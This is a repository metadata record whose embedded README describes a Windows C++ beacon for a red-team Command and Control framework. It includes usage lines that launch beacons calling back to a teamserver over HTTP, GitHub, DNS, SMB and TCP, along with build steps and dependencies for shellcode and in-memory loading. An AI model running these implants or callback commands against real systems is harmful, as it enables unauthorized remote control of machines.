{"id":19825829,"url":"https://github.com/maxdcb/c2implant","last_synced_at":"2025-06-12T17:34:22.780Z","repository":{"id":162020955,"uuid":"632926844","full_name":"maxDcb/C2Implant","owner":"maxDcb","description":"Windows C++ Implant for Exploration C2","archived":false,"fork":false,"pushed_at":"2025-05-20T09:01:57.000Z","size":423,"stargazers_count":29,"open_issues_count":0,"forks_count":9,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-05-20T10:23:43.277Z","etag":null,"topics":["c2","commandandcontrol","cybersecurity","redteam"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/maxDcb.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2023-04-26T12:17:42.000Z","updated_at":"2025-05-20T09:02:02.000Z","dependencies_parsed_at":"2023-10-16T08:19:02.459Z","dependency_job_id":"25dec42b-0255-4c21-b133-eadd08d282a0","html_url":"https://github.com/maxDcb/C2Implant","commit_stats":null,"previous_names":[],"tags_count":15,"template":false,"template_full_name":null,"purl":"pkg:github/maxDcb/C2Implant","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxDcb%2FC2Implant","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxDcb%2FC2Implant/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxDcb%2FC2Implant/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxDcb%2FC2Implant/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/maxDcb","download_url":"https://codeload.github.com/maxDcb/C2Implant/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxDcb%2FC2Implant/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259512650,"owners_count":22869455,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["c2","commandandcontrol","cybersecurity","redteam"],"created_at":"2024-11-12T11:08:49.408Z","updated_at":"2025-06-12T17:34:22.767Z","avatar_url":"https://github.com/maxDcb.png","language":"C++","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Exploration C2 Implant\n\n## Overview\n\n**Exploration** is a lightweight, modular Command and Control (C2) framework designed for red team operations. This repository provides the **Beacon** component implemented in C++ for targeting Windows systems. The corresponding TeamServer and Client components are available in the [C2TeamServer](https://github.com/maxDcb/C2TeamServer) repository.\n\nThis project includes multiple Beacons capable of communicating with the TeamServer through a variety of channels. Supported communication methods include HTTP/HTTPS, GitHub, DNS, SMB, and TCP.\n\n## Communication Examples\n\n```bash\n# HTTP/HTTPS\nBeaconHttp.exe \u003cTEAMSERVER_IP\u003e \u003cLISTENER_PORT\u003e \u003chttp|https\u003e\nBeaconHttp.exe 10.10.10.10 8443 https\nBeaconHttp.exe 10.10.10.10 8080 http\n\n# GitHub\nBeaconGithub.exe \u003cGITHUB_USER/REPO\u003e \u003cACCESS_TOKEN\u003e\nBeaconGithub.exe maxDcb/C2Implant ghp_dsfgdfhdf5554456g4fdg465...\n\n# DNS\nBeaconDns.exe \u003cDNS_SERVER\u003e \u003cTEAMSERVER_DOMAIN\u003e\nBeaconDns.exe 8.8.8.8 bac.superdomain.com\n\n# SMB\nBeaconSmb.exe \u003cLISTENER_IP\u003e \u003cPIPE_NAME\u003e\nBeaconSmb.exe 127.0.0.1 pipename\n\n# TCP\nBeaconTcp.exe \u003cLISTENER_IP\u003e \u003cLISTENER_PORT\u003e\nBeaconTcp.exe 127.0.0.1 4444\n```\n\n## Build Instructions\n\n### Submodules \u0026 External Dependencies\n\nThis project relies on several third-party libraries and tools:\n\n* [Donut](https://github.com/TheWover/donut): Generates shellcode from PE files.\n* [COFFLoader](https://github.com/trustedsec/COFFLoader): Executes object files such as those in [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF).\n* [MemoryModule](https://github.com/fancycode/MemoryModule): Enables runtime DLL loading.\n* [UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell): Executes PowerShell from unmanaged code.\n* [cpp-base64](https://github.com/ReneNyffenegger/cpp-base64): Base64 encoding/decoding.\n* [nlohmann/json](https://github.com/nlohmann/json): JSON parsing.\n\n### Preparing the Environment\n\nInstall prerequisites:\n\n* [Chocolatey](https://chocolatey.org/install)\n* CMake:\n\n```bash\nchoco install cmake --pre\n```\n\nInitialize submodules and set up the build directory:\n\n```bash\ngit submodule update --init\nmkdir buildWindows\ncd buildWindows\n```\n\n### Building the Windows Beacons and Modules\n\n#### Windows x64\n\nUsing the \"x64 Native Tools Command Prompt for VS\":\n\n```bash\n# With tests and logging enabled:\ncmake -G \"Visual Studio 17 2022\" -DWITH_TESTS=ON ..\n\n# Without tests and logging:\ncmake -G \"Visual Studio 17 2022\" ..\n\nmsbuild .\\C2Implant.sln /property:Configuration=Release -m\n```\n\nAlternatively, open the generated `C2Implant.sln` in Visual Studio and build in **Release** mode. Ensure the Runtime Library is set to **Multi-threaded (/MT)**.\n\n#### Windows x86\n\n```bash\ncmake -G \"Visual Studio 17 2022\" -A \"Win32\" ..\nmsbuild .\\C2Implant.sln /property:Configuration=Release /p:Platform=Win32 -m\n```\n\n### Output Locations\n\n* Compiled Beacons: `Release\\Beacons`\n* Compiled Module DLLs: `Release\\Modules`\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmaxdcb%2Fc2implant","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmaxdcb%2Fc2implant","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmaxdcb%2Fc2implant/lists"}